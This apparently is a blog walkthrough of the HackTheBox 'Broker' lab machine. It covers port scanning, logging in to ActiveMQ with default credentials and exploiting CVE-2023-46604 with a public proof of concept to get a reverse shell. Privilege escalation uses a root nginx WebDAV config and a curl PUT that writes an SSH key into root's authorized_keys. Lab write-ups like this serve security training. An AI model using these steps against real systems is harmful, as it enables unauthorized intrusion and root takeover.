HTB - Broker

HTB – Broker

In this walk through, we will be going through the Broker room from HackTheBox. This room is rated as Easy on the platform and it consists of exploitation of a RCE in ActiveMQ installation. For privilege escalation, sudo misconfiguration was abused to get root. So, let’s get started without any delay.


Machine Info:

DescriptionBroker is an easy difficulty Linux machine hosting a vulnerable version of ActiveMQ which has a Unauthenticated RCE in it. For Privilege escalation, abuse of sudo misconfiguration was done to get root.


  • I started off with an Aggressive nmap scan and found two ports opened – 80 (HTTP) and 22 (SSH).

$ sudo nmap -A
[sudo] password for wh1terose: 
Starting Nmap 7.80 ( ) at 2023-12-12 09:51 IST
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0,, 16) => Operation not permitted
Offending packet: TCP > S ttl=49 id=45830 iplen=44  seq=2706207728 win=1024 <mss 1460>
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0,, 16) => Operation not permitted
Offending packet: TCP > S ttl=57 id=10726 iplen=44  seq=2706142193 win=1024 <mss 1460>
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0,, 16) => Operation not permitted
Offending packet: TCP > S ttl=55 id=47771 iplen=44  seq=2706338802 win=1024 <mss 1460>
Nmap scan report for
Host is up (0.21s latency).
Not shown: 997 closed ports
22/tcp open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
53/tcp filtered domain
80/tcp open     http    nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   209.80 ms
2   210.00 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 45.91 seconds

nmap scan

  • Looked into the web server on port 80 and it prompts me to enter a username and password combo in order to proceed further.

login JS popup

  • I thought that there could be other open ports which i might have been missed with the default nmap scan. So, i initiated another nmap scan to scan for all 65,535 ports and found many of them opened which i have missed earlier.

sudo nmap -sS -T5 -p-

full port scan

  • The nmap scan for port 80 reveals an interesting header – basic realm=ActiveMQRealm. So, i googled it and found that it belongs to Apache Active MQ service which runs by default on port 8161. As per the above nmap port scan results, we have it in the open state. Sweet!

Active MQ

  • I looked into the running application on port 8161 and it too prompts me to login in order to proceed further.

HTTP ERROR 401 Unauthorized

requires login

  • Found the default credentials for Apache ActiveMQ in one of the medium article online – admin:admin

Default creds

  • With the default creds, i was able to got into the Active MQ installation. The very first thing that caught my attention was the version running – 5.15.15.

ActiveMQ backend

  • I looked for any known vulnerabilities for the concerned version and found a recent Remote Code Execution vulnerability with CVE-2023-46604.


Initial Access:

  • Found a working exploit POC on the below github repo. Cloned it on my machine and changed the IP address and port in the poc.xml file. The exploit uses the poc.xml and upload it on the target which then allows the RCE due to unsafe deserialization practices within the Openwire protocol.


CVE-2023-46604 POC exploit

Fixing the exploit

  • Spawned a python HTTP server on port 8080 to server the poc.xml file.

python3 -m http.server

python HTTP server

  • Fired the exploit on the target IP on port 61616 with the URL of our python HTTP server serving the poc.xml file.

python3 -i -p 61616 -u

Executing exploit

  • Once the exploit execution is complete, we will get a reverse connection back at our netcat listener and thus getting the Initial foothold.

getting initial access

  • Captured the user flag.

user flag

Privilege Escalation:

  • Checked the sudo permissions for our current user and found that we can run the nginx binary as root.

sudo -l

sudo -l

  • At this point, i was a little lost for the privilege escalation part. Found out that we can misuse the ngx_http_dav_module to put our SSH keys in the root’s .ssh/authorized_keys file. For that, we have to create a nginx config file with the below code. The below code, opens listening port at 1337 as user root and then use the dav_methods PUT method to allow file upload via WebDav.

user root;
worker_processes 4;
pid /tmp/;
events {
		worker_connections 768;
http {
	server {
		listen 1337;
		root /;
		autoindex on;
		dav_methods PUT;

  • In my case, i generated the file at my local machine and then downloaded it on the server.


  • Executed the generated config file as root and then checked if our specified port number is listening with the below command.

sudo nginx -c /tmp/pwn.conf

ss -tlpn

sudo nginx -c /tmp/pwn.conf

  • Next, generated the ssh key pairs using ssh-keygen.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./root
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./root
Your public key has been saved in ./
The key fingerprint is:
SHA256:ySKn/DPKFEBCWBhwNN4asc0gZJki5wHJV8Fllxhicf4 activemq@broker
The key's randomart image is:
+---[RSA 3072]----+
|%@@ o*+=o..      |
|BXoX..=...       |
|oo*.+  .         |
|  .+   ...       |
|  . o o SE       |
|   . = .         |
|    +            |
|   o .o          |
|    o..o         |


  • Next, uploaded the generated public key to root user .ssh/authorized_keys file with the below command.

curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat"

upload generated public key

  • Used the generated private key to log in as root via SSH.

ssh -i root root@localhost

ssh to root@localhost

got root

  • Finally, captured the root flag and completed the room.

root flag

Machine completed

Also Read: HTB – Atom



So that was “Broker” for you. The machine features a hosting of a version of Apache ActiveMQ which was vulnerable to an Unauthenticated RCE which was then used for the initial access. Further, Post-exploitation enumeration reveals that the system has a sudo misconfiguration allowing the activemq user to execute sudo /usr/sbin/nginx and it was then leveraged to gain root access. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top